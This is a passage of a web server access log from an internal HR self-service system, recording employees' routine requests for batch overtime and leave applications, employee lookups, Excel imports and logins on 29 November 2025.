/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:42:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.126 - - [29/Nov/2025:08:42:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:42:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [29/Nov/2025:08:42:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:42:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [29/Nov/2025:08:42:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5864792273377223 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:42:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5864792273377223 HTTP/1.1" 200 8908 192.168.11.126 - - [29/Nov/2025:08:42:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5864792273377223 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5864792273377223" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:42:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5864792273377223 HTTP/1.1" 200 11758 192.168.11.126 - - [29/Nov/2025:08:43:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:43:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4268 192.168.11.126 - - [29/Nov/2025:08:43:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:43:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [29/Nov/2025:08:43:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:43:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.126 - - [29/Nov/2025:08:43:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 26734 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:43:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 26734 192.168.11.126 - - [29/Nov/2025:08:43:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11511 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:43:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11511 192.168.11.126 - - [29/Nov/2025:08:43:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:43:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13072 100.64.0.1 - - [29/Nov/2025:08:49:02 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:08:49:02 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 192.168.11.78 - - [29/Nov/2025:08:57:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:57:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.78 - - [29/Nov/2025:08:57:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:57:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.78 - - [29/Nov/2025:08:57:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:57:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.78 - - [29/Nov/2025:08:57:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:57:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.78 - - [29/Nov/2025:08:57:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:57:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.78 - - [29/Nov/2025:08:58:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.78 - - [29/Nov/2025:08:58:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.78 - - [29/Nov/2025:08:58:14 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.363670696477969 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:14 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.363670696477969 HTTP/1.1" 200 5264 192.168.11.78 - - [29/Nov/2025:08:58:21 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.363670696477969 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.363670696477969" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:21 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.363670696477969 HTTP/1.1" 302 - 192.168.11.78 - - [29/Nov/2025:08:58:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4059 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.363670696477969" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4059 192.168.11.78 - - [29/Nov/2025:08:58:28 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.38829588055658126 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:28 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.38829588055658126 HTTP/1.1" 200 5264 192.168.11.78 - - [29/Nov/2025:08:58:36 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.38829588055658126 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.38829588055658126" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:36 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.38829588055658126 HTTP/1.1" 302 - 192.168.11.78 - - [29/Nov/2025:08:58:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4841 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.38829588055658126" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4841 192.168.11.78 - - [29/Nov/2025:08:58:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4643 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4643 192.168.11.78 - - [29/Nov/2025:08:58:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.78 - - [29/Nov/2025:08:58:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:58:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.78 - - [29/Nov/2025:08:59:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.78 - - [29/Nov/2025:08:59:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12795789532374635 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12795789532374635 HTTP/1.1" 200 13560 192.168.11.78 - - [29/Nov/2025:08:59:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12795789532374635 HTTP/1.1" 200 15732 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12795789532374635" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12795789532374635 HTTP/1.1" 200 15732 192.168.11.78 - - [29/Nov/2025:08:59:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.78 - - [29/Nov/2025:08:59:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.78 - - [29/Nov/2025:08:59:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.78 - - [29/Nov/2025:08:59:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.78 - - [29/Nov/2025:08:59:47 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8656060300164088 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:47 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8656060300164088 HTTP/1.1" 200 5264 192.168.11.78 - - [29/Nov/2025:08:59:52 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8656060300164088 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8656060300164088" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:52 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8656060300164088 HTTP/1.1" 302 - 192.168.11.78 - - [29/Nov/2025:08:59:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5430 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8656060300164088" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5430 192.168.11.78 - - [29/Nov/2025:08:59:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4978 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:08:59:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4978 192.168.11.78 - - [29/Nov/2025:09:00:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.78 - - [29/Nov/2025:09:00:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.78 - - [29/Nov/2025:09:00:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.78 - - [29/Nov/2025:09:00:31 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.577772655443235 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 